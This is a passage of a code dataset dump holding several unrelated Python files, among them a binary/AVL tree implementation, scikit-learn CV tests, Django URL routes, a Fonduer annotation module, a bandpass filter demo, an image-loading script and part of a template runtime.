Node(value)\n parent.right.parent = parent\n\n # endregion\n # region [Remove]\n def remove(self, value):\n self.__remove_node(self.find(value))\n\n def __remove_node(self, node):\n if not node: return None\n\n node_parent = node.parent\n child_num: int = bool(node.left)+bool(node.right)\n if child_num == 0:\n if node_parent:\n if node_parent.left == node:\n node_parent.left = None\n else:\n node_parent.right = None\n else:\n self.root = None\n\n elif child_num == 1:\n child = node.left if node.left else node.right\n if node_parent:\n if node_parent.left == node:\n node_parent.left = child\n else:\n node_parent.right = child\n else:\n self.root = child\n child.parent = node_parent\n\n elif child_num == 2:\n new_node = node.right\n while new_node.left:\n new_node = new_node.left\n\n node.value = new_node.value\n self.__remove_node(new_node)\n\n# endregion\n # region [Delete]\n def delete(self):\n for node in self.post_order():\n self.__remove_node(node)\n # endregion\n # endregion\n # endregion\n\nclass BST(Tree):\n def __init__(self, data=None):\n super().__init__()\n if data: self.__construct(data)\n\n # region [Constructor]\n def __construct(self, data: List[int]):\n [self.insert(val) for val in data]\n\n # endregion\n\n\nclass AVL(BST):\n def __init__(self, data):\n super().__init__()\n if data: self.root = self.__construct(sorted(data))\n\n def __construct(self, data) -> Node:\n if data:\n root = Node(data.pop((len(data) - 1) // 2))\n root.left = self.__construct(data[:len(data) // 2])\n root.right = self.__construct(data[len(data) // 2:])\n if root.left: root.left.parent = root\n if root.right: root.right.parent = root\n return root\n\n\n# region [List Generators]\n\ndef ascending(n: int) -> List[int]:\n return list(range(1, n+1))\n\ndef descending(n: int) -> List[int]:\n return list(range(n, 0, -1))\n\ndef random(n: int) -> List[int]:\n return sample(list(range(1, n+1)), n)\n\n# endregion\n\nar = AVL(random(10))\nar.print_pre_order()","sub_path":"wzor.py","file_name":"wzor.py","file_ext":"py","file_size_in_byte":8075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"249966362","text":"rivers = {\n 'nile': 'egypt',\n 'yangtze': 'china',\n 'amazon': 'south america'\n}\n\n# Use a loop to print a senctence about each river.\nfor river in rivers.keys():\n print(f\"The {river.title()} runs through {rivers[river].title()}.\")\n\nprint(\"\\n\")\n\n# Use a loop to print the name of each river included in the dictionary.\nfor river in rivers.keys():\n print(f\"{river.title()}\", end=\"\\t\\t\")\n\nprint(\"\\n\")\n\n# Use a loop to print the name of each country included in the dictionary.\nfor country in rivers.values():\n print(f\"{country.title()}\", end=\"\\t\\t\")","sub_path":"PythonCrashCourse/Chapter6/6.5.py","file_name":"6.5.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"595076771","text":"import unittest\n\nfrom scipy import stats\nfrom sklearn import (\n linear_model,\n tree,\n pipeline,\n impute,\n preprocessing\n)\n\nfrom sklearn_cv_pandas import (\n RandomizedSearchCV,\n GridSearchCV\n)\nfrom tests import utils\n\n\nclass TestPandasCV(unittest.TestCase):\n def test_random_linear_sv_ratio_cl(self):\n model_type, is_cl, with_prep, cv_type = \"linear\", True, False, \"random\"\n cv = self._get_cv(model_type, is_cl, with_prep, cv_type)\n self._test_basic_flow_sv_ratio(cv, is_cl)\n\n def test_random_tree_sv_2dfs_rg(self):\n model_type, is_cl, with_prep, cv_type = \"tree\", False, False, \"random\"\n cv = self._get_cv(model_type, is_cl, with_prep, cv_type)\n self._test_basic_flow_sv_2dfs(cv, is_cl)\n\n def test_random_tree_with_prep_cv_cl(self):\n model_type, is_cl, with_prep, cv_type = \"tree\", True, True, \"random\"\n cv = self._get_cv(model_type, is_cl, with_prep, cv_type)\n self._test_basic_flow_cv(cv, is_cl, 3)\n\n def test_grid_linear_sv_ratio_cl(self):\n model_type, is_cl, with_prep, cv_type = \"linear\", True, False, \"grid\"\n cv = self._get_cv(model_type, is_cl, with_prep, cv_type)\n self._test_basic_flow_sv_ratio(cv, is_cl)\n\n def test_grid_tree_sv_2dfs_rg(self):\n model_type, is_cl, with_prep, cv_type = \"tree\", False, False, \"grid\"\n cv = self._get_cv(model_type, is_cl, with_prep, cv_type)\n self._test_basic_flow_sv_2dfs(cv, is_cl)\n\n def test_grid_tree_with_prep_cv_cl(self):\n model_type, is_cl, with_prep, cv_type = \"tree\", True, True, \"grid\"\n cv = self._get_cv(model_type, is_cl, with_prep, cv_type)\n self._test_basic_flow_cv(cv, is_cl, 3)\n\n def _get_cv(self, model_type, is_cl, with_prep, cv_type):\n estimator = self._get_estimator(model_type, is_cl, with_prep)\n metric = \"roc_auc\" if is_cl else \"neg_root_mean_squared_error\"\n if cv_type == \"random\":\n params = self._get_params_random(model_type, is_cl, with_prep)\n return RandomizedSearchCV(estimator, params, scoring=metric)\n else:\n params = self._get_params_grid(model_type, is_cl, with_prep)\n return GridSearchCV(estimator, params, scoring=metric)\n\n def _get_estimator(self, model_type, is_cl, with_preprocessing):\n if model_type == \"linear\":\n ml_estimator = linear_model.LogisticRegression(solver=\"liblinear\") if is_cl else linear_model.Lasso()\n else:\n ml_estimator = tree.DecisionTreeClassifier() if is_cl else tree.DecisionTreeRegressor()\n return self._add_preprocessing(ml_estimator) if with_preprocessing else ml_estimator\n\n @staticmethod\n def _add_preprocessing(estimator):\n return pipeline.Pipeline(\n steps=[\n (\"mvi\", impute.SimpleImputer()),\n (\"std\", preprocessing.StandardScaler()),\n (\"ml\", estimator)\n ]\n )\n\n def _get_params_random(self, model_type, is_cl, with_preprocessing):\n if model_type == \"linear\":\n ml_params = dict(\n penalty=[\"l1\", \"l2\"],\n C=stats.loguniform(1e-5, 10)\n ) if is_cl else dict(alpha=stats.loguniform(1e-5, 10))\n else:\n ml_params = dict(max_depth=list(range(5, 16)))\n return self._convert_ml_params(ml_params) if with_preprocessing else ml_params\n\n def _get_params_grid(self, model_type, is_cl, with_preprocessing):\n if model_type == \"linear\":\n ml_params = dict(\n penalty=[\"l1\", \"l2\"],\n C=[1e-5, 1e-3]\n ) if is_cl else dict(alpha=[1e-5, 1e-3, 1e-1, 10])\n else:\n ml_params = dict(max_depth=[5, 8, 11, 14])\n return self._convert_ml_params(ml_params) if with_preprocessing else ml_params\n\n @staticmethod\n def _convert_ml_params(ml_params):\n return {\"{}__{}\".format(\"ml\", k): v for k, v in ml_params.items()}\n\n def _test_basic_flow_sv_ratio(self, cv, is_cl):\n df_training = utils.get_input_df(100)\n df_test = utils.get_input_df(10)\n target_column = \"target_cl\" if is_cl else \"target_rg\"\n feature_columns = [\"column{}\".format(i) for i in range(6)]\n model = cv.fit_sv_pandas(df_training, target_column, feature_columns, ratio_training=0.8)\n self._assert_prediction(model, df_test, is_cl)\n\n def _test_basic_flow_sv_2dfs(self, cv, is_cl):\n df_training = utils.get_input_df(100)\n df_validation = utils.get_input_df(100)\n df_test = utils.get_input_df(10)\n target_column = \"target_cl\" if is_cl else \"target_rg\"\n feature_columns = [\"column{}\".format(i) for i in range(6)]\n model = cv.fit_sv_pandas(df_training, target_column, feature_columns, df_validation)\n self._assert_prediction(model, df_test, is_cl)\n\n def _test_basic_flow_cv(self, cv, is_cl, n_fold):\n df_training = utils.get_input_df(100)\n df_test = utils.get_input_df(10)\n target_column = \"target_cl\" if is_cl else \"target_rg\"\n feature_columns = [\"column{}\".format(i) for i in range(6)]\n model = cv.fit_cv_pandas(df_training, target_column, feature_columns, n_fold=n_fold)\n self._assert_prediction(model, df_test, is_cl)\n\n def _assert_prediction(self, model, df_test, is_cl):\n pred_df = model.predict(df_test)\n expected_columns = [\"score\", \"id1\", \"id2\", \"target_cl\", \"target_rg\"]\n if is_cl:\n expected_columns.insert(1, \"predicted_class\")\n self.assertListEqual(list(pred_df.columns), expected_columns)\n self.assertEqual(len(pred_df), 10)\n","sub_path":"0614/Lib/site-packages/tests/test_pandas_cv.py","file_name":"test_pandas_cv.py","file_ext":"py","file_size_in_byte":5616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"189683842","text":"import numpy as np\nimport torch.nn as nn\nimport torch\n\n\nclass SimpleMedian:\n \"\"\"\n k-nearest neighbor baseline to infer number of visits\n \"\"\"\n\n def __init__(self, mean=False):\n self.mean = mean\n\n def __call__(self, data):\n \"\"\"\n Get closes feature vector in node_features and use their label\n \"\"\"\n node_features = data.x\n assert len(node_features.shape) == 2\n # assert that only one batch\n # assert len(torch.unique(data.batch)) == 1\n\n if self.mean:\n avg_label = torch.mean(node_features[:, -1])\n else:\n avg_label = torch.median(node_features[:, -1])\n return avg_label\n","sub_path":"predict_visits/baselines/simple_median.py","file_name":"simple_median.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"361154157","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('search', views.search, name = 'search'),\n path('/', views.meeting, name='meeting'),\n path('meeting1', views.temp, name='temp'),\n path('ajax/get_meeting_images', views.get_meeting_images, name='Ajax request for getting images'),\n path('ajax/get_meeting_details', views.get_meeting_details, name='Ajax request for getting meeting details'),\n path('ajax/get_search_results', views.get_search_results, name='Ajax request for getting search results'),\n path('ajax/get_index_page', views.get_index_page, name='Ajax request for getting index page')\n]","sub_path":"second/meetings/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"568210097","text":"import codecs\nimport logging\nimport os\nimport tempfile\nfrom builtins import range, str, zip\nfrom collections import namedtuple\n\nfrom fonduer.candidates.models import Candidate\nfrom fonduer.meta import Meta, new_sessionmaker\nfrom fonduer.utils.udf import UDF, UDFRunner\nfrom fonduer.utils.utils import remove_files\nfrom fonduer.utils.utils_annotations import (\n array_tsv_escape,\n copy_postgres,\n get_sql_name,\n load_annotation_matrix,\n table_exists,\n)\n\n# Used to conform to existing annotation key API call\n# Note that this annotation matrix class cannot be replaced with snorkel one\n# since we do not have ORM-backed key objects but rather a simple python list.\n_TempKey = namedtuple(\"TempKey\", [\"id\", \"name\"])\n\n# Grab a pointer to the global vars\n_meta = Meta.init()\n\nlogger = logging.getLogger(__name__)\nsegment_dir = tempfile.gettempdir()\n\n\ndef _to_annotation_generator(fns):\n \"\"\"\"\n Generic method which takes a set of functions, and returns a generator that\n yields function.__name__, function result pairs.\n \"\"\"\n\n def fn_gen(c):\n for f in fns:\n yield f.__name__, f(c)\n\n return fn_gen\n\n\ndef _segment_filename(db_name, table_name, job_id, start=None, end=None):\n suffix = \"*\"\n if start is not None:\n suffix = str(start)\n if end is not None:\n suffix += \"-\" + str(end)\n return \"%s_%s_%s_%s.tsv\" % (db_name, table_name, job_id, suffix)\n\n\nclass AnnotatorUDF(UDF):\n def __init__(self, f, **kwargs):\n self.anno_generator = (\n _to_annotation_generator(f) if hasattr(f, \"__iter__\") else f\n )\n super(AnnotatorUDF, self).__init__(**kwargs)\n\n def apply(self, batch_range, table_name, split, cache, **kwargs):\n \"\"\"\n Applies a given function to a range of candidates\n\n Note: Accepts a id_range as argument, because of issues with putting\n Candidate subclasses into Queues (can't pickle...)\n \"\"\"\n start, end = batch_range\n file_name = _segment_filename(_meta.DBNAME, table_name, split, self.worker_id)\n segment_path = os.path.join(segment_dir, file_name)\n candidates = (\n self.session.query(Candidate)\n .filter(Candidate.split == split)\n .order_by(Candidate.id)\n .slice(start, end)\n )\n with codecs.open(segment_path, \"a+\", encoding=\"utf-8\") as writer:\n if not cache:\n for i, candidate in enumerate(candidates):\n # Runs the actual extraction function\n nonzero_kvs = [\n (k, v) for k, v in self.anno_generator(candidate) if v != 0\n ]\n if nonzero_kvs:\n keys, values = list(zip(*nonzero_kvs))\n else:\n keys = values = []\n row = [\n str(candidate.id),\n array_tsv_escape(keys),\n array_tsv_escape(values),\n ]\n writer.write(\"\\t\".join(row) + \"\\n\")\n else:\n nonzero_kv_dict = {}\n for id, k, v in self.anno_generator(list(candidates)):\n if id not in nonzero_kv_dict:\n nonzero_kv_dict[id] = []\n if v != 0:\n nonzero_kv_dict[id].append((k, v))\n for i, candidate in enumerate(candidates):\n nonzero_kvs = nonzero_kv_dict[candidate.id]\n if nonzero_kvs:\n keys, values = list(zip(*nonzero_kvs))\n else:\n keys = values = []\n row = [\n str(candidate.id),\n array_tsv_escape(keys),\n array_tsv_escape(values),\n ]\n writer.write(\"\\t\".join(row) + \"\\n\")\n # This return + yield combination results in a purely empty generator\n # function. Specifically, the yield turns the function into a generator,\n # and the return terminates the generator before yielding anything.\n return\n yield\n\n\nclass Annotator(UDFRunner):\n \"\"\"Abstract class for annotating candidates and persisting these\n annotations to DB.\n \"\"\"\n\n def __init__(self, candidate_type, annotation_type, f, batch_size=50, **kwargs):\n self.candidate_type = candidate_type\n if isinstance(candidate_type, type):\n candidate_type = candidate_type.__name__\n self.table_name = get_sql_name(candidate_type) + \"_\" + annotation_type\n self.key_table_name = self.table_name + \"_keys\"\n self.annotation_type = annotation_type\n self.batch_size = batch_size\n super(Annotator, self).__init__(AnnotatorUDF, f=f, **kwargs)\n\n def apply(\n self,\n split,\n key_group=0,\n replace_key_set=True,\n update_keys=False,\n update_values=True,\n storage=None,\n ignore_keys=[],\n **kwargs\n ):\n if update_keys:\n replace_key_set = False\n # Get the cids based on the split, and also the count\n Session = new_sessionmaker()\n session = Session()\n\n # NOTE: In the current UDFRunner implementation, we load all these into\n # memory and fill a multiprocessing JoinableQueue with them before\n # starting... so might as well load them here and pass in. Also, if we\n # try to pass in a query iterator instead, with AUTOCOMMIT on, we get a\n # TXN error...\n candidates = (\n session.query(Candidate)\n .filter(Candidate.type == self.candidate_type.__tablename__)\n .filter(Candidate.split == split)\n .all()\n )\n cids_count = len(candidates)\n if cids_count == 0:\n raise ValueError(\"No candidates in current split\")\n\n # Setting up job batches\n chunks = cids_count // self.batch_size\n batch_range = [\n (i * self.batch_size, (i + 1) * self.batch_size) for i in range(chunks)\n ]\n remainder = cids_count % self.batch_size\n if remainder:\n batch_range.append((chunks * self.batch_size, cids_count))\n\n old_table_name = None\n table_name = self.table_name\n # Run the Annotator\n with _meta.engine.connect() as con:\n table_already_exists = table_exists(con, table_name)\n if update_values and table_already_exists:\n # Now we extract under a temporary name for merging\n old_table_name = table_name\n table_name += \"_updates\"\n\n segment_file_blob = os.path.join(\n segment_dir, _segment_filename(_meta.DBNAME, self.table_name, split)\n )\n remove_files(segment_file_blob)\n cache = True if self.annotation_type == \"feature\" else False\n super(Annotator, self).apply(\n batch_range,\n table_name=self.table_name,\n split=split,\n cache=cache,\n **kwargs\n )\n\n # Insert and update keys\n if not table_already_exists or old_table_name:\n con.execute(\n \"CREATE TABLE %s(candidate_id integer PRIMARY KEY, \"\n \"keys text[] NOT NULL, values real[] NOT NULL)\" % table_name\n )\n copy_postgres(segment_file_blob, table_name, \"candidate_id, keys, values\")\n remove_files(segment_file_blob)\n\n # Replace the LIL table with COO if requested\n if storage == \"COO\":\n temp_coo_table = table_name + \"_COO\"\n con.execute(\n \"CREATE TABLE %s AS \"\n \"(SELECT candidate_id, UNNEST(keys) as key, \"\n \"UNNEST(values) as value from %s)\" % (temp_coo_table, table_name)\n )\n con.execute(\"DROP TABLE %s\" % table_name)\n con.execute(\n \"ALTER TABLE %s RENAME TO %s\" % (temp_coo_table, table_name)\n )\n con.execute(\n \"ALTER TABLE %s ADD PRIMARY KEY(candidate_id, key)\" % table_name\n )\n # Update old table\n if old_table_name:\n con.execute(\n \"INSERT INTO %s SELECT * FROM %s \"\n \"ON CONFLICT(candidate_id, key) \"\n \"DO UPDATE SET value=EXCLUDED.value\"\n % (old_table_name, table_name)\n )\n con.execute(\"DROP TABLE %s\" % table_name)\n else: # LIL\n # Update old table\n if old_table_name:\n con.execute(\n \"INSERT INTO %s AS old SELECT * FROM %s \"\n \"ON CONFLICT(candidate_id) \"\n \"DO UPDATE SET \"\n \"values=old.values || EXCLUDED.values,\"\n \"keys=old.keys || EXCLUDED.keys\" % (old_table_name, table_name)\n )\n con.execute(\"DROP TABLE %s\" % table_name)\n\n if old_table_name:\n table_name = old_table_name\n # Load the matrix\n key_table_name = self.key_table_name\n if key_group:\n key_table_name = self.key_table_name + \"_\" + get_sql_name(key_group)\n\n return load_annotation_matrix(\n con,\n candidates,\n split,\n table_name,\n key_table_name,\n replace_key_set,\n storage,\n update_keys,\n ignore_keys,\n )\n\n def clear(self, session, split, replace_key_set=False, **kwargs):\n \"\"\"\n Deletes the Annotations for the Candidates in the given split.\n\n If replace_key_set=True, deletes *all* Annotations (of this Annotation\n sub-class) and also deletes all AnnotationKeys (of this sub-class)\n \"\"\"\n with _meta.engine.connect() as con:\n if split is None:\n con.execute(\"DROP TABLE IF EXISTS %s\" % self.table_name)\n elif table_exists(con, self.table_name):\n con.execute(\n \"DELETE FROM %s WHERE candidate_id IN \"\n \"(SELECT id FROM candidate WHERE split=%d)\"\n % (self.table_name, split)\n )\n if replace_key_set:\n con.execute(\"DROP TABLE IF EXISTS %s\" % self.key_table_name)\n\n def apply_existing(self, split, key_group=0, **kwargs):\n \"\"\"Alias for apply that emphasizes we are using an existing AnnotatorKey set.\"\"\"\n return self.apply(split, key_group=key_group, replace_key_set=False, **kwargs)\n\n def load_matrix(self, split, ignore_keys=[]):\n Session = new_sessionmaker()\n session = Session()\n candidates = session.query(Candidate).filter(Candidate.split == split).all()\n with _meta.engine.connect() as con:\n return load_annotation_matrix(\n con,\n candidates,\n split,\n self.table_name,\n self.key_table_name,\n False,\n None,\n False,\n ignore_keys,\n )\n","sub_path":"fonduer/utils/annotator.py","file_name":"annotator.py","file_ext":"py","file_size_in_byte":11436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"113697110","text":"import os\nimport time\nfrom collections import defaultdict\nfrom functools import wraps\nfrom pathlib import Path\n\nimport numpy as np\nimport torch\nimport torch.utils.data\nfrom torchvision import transforms, datasets\n\nfrom utils.caltech import Caltech256, Caltech10\nfrom utils.constants import DATA_DIR, MODELS_DIR, BATCH_SIZE\nfrom utils.datasubset import MNIST56, FashionMNIST56, CIFAR10_56\nfrom utils.normalize import NormalizeFromDataset\n\n\ndef set_seed(seed: int):\n import random\n import numpy as np\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n\n\ndef timer_profile(func):\n \"\"\"\n For debug purposes only.\n \"\"\"\n func_duration = defaultdict(list)\n\n @wraps(func)\n def wrapped(*args, **kwargs):\n start = time.time()\n res = func(*args, **kwargs)\n elapsed = time.time() - start\n elapsed *= 1e3\n func_duration[func.__name__].append(elapsed)\n print(f\"{func.__name__} {elapsed: .3f} (mean: {np.mean(func_duration[func.__name__]): .3f}) ms\")\n return res\n\n return wrapped\n\n\ndef get_data_loader(dataset: str, train=True, batch_size=BATCH_SIZE) -> torch.utils.data.DataLoader:\n if dataset == \"MNIST56\":\n dataset = MNIST56(train=train)\n elif dataset == \"FashionMNIST56\":\n dataset = FashionMNIST56(train=train)\n elif dataset == \"CIFAR10_56\":\n dataset = CIFAR10_56(train=train)\n elif dataset == \"Caltech256\":\n dataset = Caltech256(train=train)\n elif dataset == \"Caltech10\":\n dataset = Caltech10(train=train)\n else:\n if dataset == \"MNIST\":\n dataset_class = datasets.MNIST\n elif dataset == \"FashionMNIST\":\n dataset_class = datasets.FashionMNIST\n elif dataset == \"CIFAR10\":\n dataset_class = datasets.CIFAR10\n else:\n raise NotImplementedError()\n transform = transforms.Compose([transforms.ToTensor(), NormalizeFromDataset(dataset_cls=dataset_class)])\n dataset = dataset_class(DATA_DIR, train=train, download=True, transform=transform)\n num_workers = int(os.environ.get('LOADER_WORKERS', 4))\n loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=num_workers)\n return loader\n\n\ndef load_model_state(dataset_name: str, model_name: str):\n model_path = MODELS_DIR.joinpath(dataset_name, Path(model_name).with_suffix('.pt'))\n if not model_path.exists():\n return None\n return torch.load(model_path)\n","sub_path":"utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"607986866","text":"import matplotlib.pyplot as plt #For plotting\r\nfrom math import sin, pi #For generating input signals\r\n\r\n### Filter - 6KHz->8Khz Bandpass Filter\r\n### @param [in] input - input unfiltered signal\r\n### @param [out] output - output filtered signal\r\ndef filter(x):\r\n y = [0]*48000\r\n for n in range(4, len(x)):\r\n y[n] = 0.0101*x[n] - 0.0202*x[n-2] + 0.0101*x[n-4] + 2.4354*y[n-1] - 3.1869*y[n-2] + 2.0889*y[n-3] - 0.7368*y[n-4]\r\n return y\r\n\r\n\r\nfrequency = int(input(\"Please input the frequency: \"))\r\n\t\r\n### Create empty arrays\r\ninput = [0]*48000\r\noutput = [0]*48000\r\n\r\n### Fill array with xxxHz signal\r\nfor i in range(48000):\r\n input[i] = sin(2 * pi * frequency * i / 48000) #+ sin(2 * pi * 70 * i / 48000)\r\n\r\n### Run the signal through the filter\r\noutput = filter(input)\r\n\r\n### Grab samples from input and output #1/100th of a second\r\noutput_section = output[0:480] \r\ninput_section = input[0:480] \r\n\r\n### Plot the signals for comparison\r\nplt.figure(1) \r\nplt.subplot(211) \r\nplt.ylabel('Magnitude')\r\nplt.xlabel('Samples') \r\nplt.title('Unfiltered Signal') \r\nplt.plot(input_section)\r\nplt.subplot(212) \r\nplt.ylabel('Magnitude')\r\nplt.xlabel('Samples') \r\nplt.title('Filtered Signal')\r\nplt.plot(output_section)\r\nplt.show()","sub_path":"filterExample.py","file_name":"filterExample.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"129159218","text":"import os\r\nimport random\r\nfrom PIL import Image\r\nimport tensorflow as tf\r\nimport numpy as np\r\n\r\n\r\n\r\ndata_dir = 'train_images/'\r\nLABEL_FILE = 'labels.txt'\r\n# 图片默认大小\r\nIMAGE_SIZE = 32\r\nnum_classes = 10\r\n\r\n\r\ndef get_filepaths_and_labels(data_dir):\r\n \"\"\"\r\n 获取图片路径和labels\r\n :param data_dir:\r\n :return: [filepaths], [labels_dict: key标签,value索引]\r\n \"\"\"\r\n if not os.path.exists(data_dir):\r\n raise ValueError('cannot find the dir: ' + data_dir)\r\n\r\n filepaths = []\r\n labels_dict = {}\r\n\r\n index = 0\r\n for labeldir in os.listdir(data_dir):\r\n namedir = os.path.join(data_dir, labeldir)\r\n if os.path.isfile(namedir):\r\n continue\r\n for file in os.listdir(namedir):\r\n file = os.path.join(namedir, file)\r\n\r\n # 小于4k 的图片可能不完整不要\r\n # if os.path.getsize(file) / 1024 < 4:\r\n # continue\r\n filepaths.append(file)\r\n if labeldir not in labels_dict:\r\n labels_dict[labeldir] = index\r\n index = index + 1\r\n print(labels_dict)\r\n return filepaths, labels_dict\r\n\r\n\r\ndef write_label_file(labels_dict, label_file):\r\n \"\"\"\r\n 将label和其索引存到文件\r\n :param labels_dict:\r\n :param label_file:\r\n :return:\r\n \"\"\"\r\n with tf.gfile.Open(label_file, 'w') as f:\r\n for label in labels_dict:\r\n num = labels_dict[label]\r\n f.write('%d:%s\\n' % (num, label))\r\n\r\n\r\ndef get_images_labels(filepaths, labels_dict, batch_size):\r\n \"\"\"\r\n 获取图片和label\r\n :param filepaths\r\n :param labels_dict\r\n :param batch_size\r\n :return [imgs], [labels]\r\n \"\"\"\r\n imgs = []\r\n labels = []\r\n batch_size = min(len(filepaths), batch_size)\r\n print(\"图片数量：\", len(filepaths))\r\n for j in range(batch_size):\r\n img = Image.open(filepaths[j])\r\n img = img.resize((IMAGE_SIZE, IMAGE_SIZE))\r\n img = np.array(img)\r\n\r\n # 获取目录名作为labels\r\n img_label = os.path.split(os.path.dirname(filepaths[j]))[1]\r\n img_label = labels_dict[img_label]\r\n\r\n imgs.append(img)\r\n labels.append(img_label)\r\n imgs = np.array(imgs)\r\n return imgs, labels\r\n\r\n\r\ndef re_imgs_labes(imgs, labels):\r\n batch_size = len(imgs)\r\n\r\n # 图片一致化\r\n imgs = imgs.reshape([batch_size, IMAGE_SIZE, IMAGE_SIZE, 3])\r\n # reimgs = imgs * (1. / 255) - 0.5\r\n\r\n # 将labels转为ont-hot编码\r\n labels = tf.one_hot(labels, num_classes, 1, 0)\r\n labels = tf.cast(labels, dtype=tf.int32)\r\n labels = tf.reshape(labels, [batch_size, num_classes])\r\n\r\n # 将labels转numpy数组类型\r\n sess = tf.Session()\r\n with sess.as_default():\r\n relabels = labels.eval()\r\n\r\n return imgs, relabels\r\n\r\n\r\ndef read_images_labels(data_dir, batch_size=1000, shuffle=True):\r\n # 获取路径和label字典\r\n data_paths, labels_dict = get_filepaths_and_labels(data_dir)\r\n\r\n # 根据图片来源判断是否打乱\r\n if shuffle:\r\n random.seed(0)\r\n random.shuffle(data_paths)\r\n filepath = data_paths\r\n imgs, labels = get_images_labels(filepath, labels_dict, batch_size)\r\n # print(imgs[0])\r\n # print(labels[0])\r\n\r\n reimgs, relabels = re_imgs_labes(imgs, labels)\r\n\r\n # 将label字典写入文件\r\n write_label_file(labels_dict, LABEL_FILE)\r\n print('finsh')\r\n return reimgs, relabels\r\n\r\n\r\nif __name__ == \"__main__\":\r\n read_images_labels(data_dir)","sub_path":"深度学习课程代码/代码/图片分类识别/read_images_labels.py","file_name":"read_images_labels.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"329364629","text":"from PySide.QtCore import *\nfrom PySide.QtWebKit import *\nfrom PySide.QtGui import *\nimport os\nimport sys\nimport webbrowser\n\nclass HelpWindow(QMainWindow):\n def __init__(self, parent=None):\n super(HelpWindow,self).__init__(parent)\n\n self.setWindowTitle(\"Facepager 3.0 - Help\")\n self.setMinimumWidth(600);\n self.setMinimumHeight(600);\n central = QWidget()\n self.setCentralWidget(central)\n vLayout = QVBoxLayout(central)\n self.browser = QWebView(central)\n\n if getattr(sys, 'frozen', False):\n application_path = os.path.dirname(sys.executable)\n elif __file__:\n application_path = os.path.dirname(__file__)\n\n #self.loadPage()\n\n vLayout.addWidget(self.browser)\n hLayout = QHBoxLayout()\n vLayout.addLayout(hLayout)\n hLayout.addStretch(5)\n dismiss = QPushButton(central)\n dismiss.setText(\"Close\")\n dismiss.clicked.connect(self.hide)\n hLayout.addWidget(dismiss)\n #browser.setBackgroundRole(QPalette.Window)\n\n def show(self):\n super(HelpWindow,self).show()\n self.loadPage()\n\n\n def loadPage(self):\n self.browser.load(QUrl(\"http://htmlpreview.github.io/?https://github.com/strohne/Facepager/blob/master/src/help/help.html\"))\n self.browser.page().setLinkDelegationPolicy(QWebPage.DelegateExternalLinks)\n self.browser.page().linkClicked.connect(self.linkClicked)\n\n\n def linkClicked(self,url):\n url = url.toString()\n if url.startswith(\"http://htmlpreview.github.io/?https://github.com/strohne/Facepager/blob/master/src/help/help.html\"):\n self.browser.load(url)\n else:\n webbrowser.open(url)\n","sub_path":"src/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"516457227","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nNoneType = type(None)\n\nfrom collections import Mapping\nfrom ..helpers import escape as strescape\nfrom ..compat import text_type, PY3\nfrom collections import deque\n\nfrom markupsafe import escape\n\n\nclass _TK_buffer(object):\n def __init__(self):\n self._buffer = buffer = []\n e = buffer.extend\n a = buffer.append\n\n def do_output(*objs):\n for obj in objs:\n if obj.__class__ is _TK_buffer:\n e(obj._buffer)\n else:\n a(text_type(obj))\n\n self.output = do_output\n def output_boolean_attr(name, value):\n t = type(value)\n if t in (bool, NoneType):\n if bool(value):\n do_output(' ' + name + '=\"' + name + '\"')\n\n # skip on false, None\n return\n\n do_output(' ' + name + '=\"')\n do_output(escape(value))\n do_output('\"')\n\n self.output_boolean_attr = output_boolean_attr\n\n\n def __call__(self, *a):\n self.output(*a)\n\n\n def __html__(self):\n return self\n\n\n def join(self):\n return ''.join(self._buffer)\n\n\n if PY3:\n __str__ = join\n\n else:\n __unicode__ = join\n def __str__(self):\n return self.join().encode('UTF-8')\n\nBuffer = _TK_buffer\n\ntry:\n from ._buffer import Buffer as _Buffer, _set_escape_method\n _set_escape_method(escape)\n Buffer = _Buffer\n del _Buffer\n del _set_escape_method\nexcept ImportError as e:\n pass\n\n\ndef output_attrs(values):\n if not values:\n return ''\n\n if not isinstance(values, Mapping):\n values = iter(values)\n else:\n values = values.items()\n\n rv = Buffer()\n for k, v in values:\n if v in (True, False, None):\n if v:\n v = k\n else:\n continue\n\n rv(' ')\n rv(k)\n rv('=\"')\n rv(escape(v))\n rv('\"')\n\n return rv\n\n\ndef import_defs(href):\n return {}\n\n\ndef bind(context, block=False):\n \"\"\"\n Given the context, returns a decorator wrapper;\n the binder replaces the wrapped func with the\n value from the context OR puts this function in\n the context with the name.\n \"\"\"\n\n if block:\n def decorate(func):\n name = func.__name__.replace('__TK__block__', '')\n if name not in context:\n context[name] = func\n return context[name]\n\n return decorate\n\n def decorate(func):\n name = func.__name__\n if name not in context:\n context[name] = func\n return context[name]\n\n return decorate\n\n\nclass ImportedTemplate(object):\n def __init__(self, name):\n self.__name = name\n\n def __repr__(self):\n return \"\" % self.name\n\n\nclass TonnikalaRuntime(object):\n bind = staticmethod(bind)\n Buffer = staticmethod(Buffer)\n output_attrs = staticmethod(output_attrs)\n escape = staticmethod(escape)\n\n def __init__(self):\n self.loader = None\n\n def load(self, href):\n return self.loader.load(href)\n\n def import_defs(self, context, href):\n modified_context = context.copy()\n self.loader.load(href).bind(modified_context)\n container = 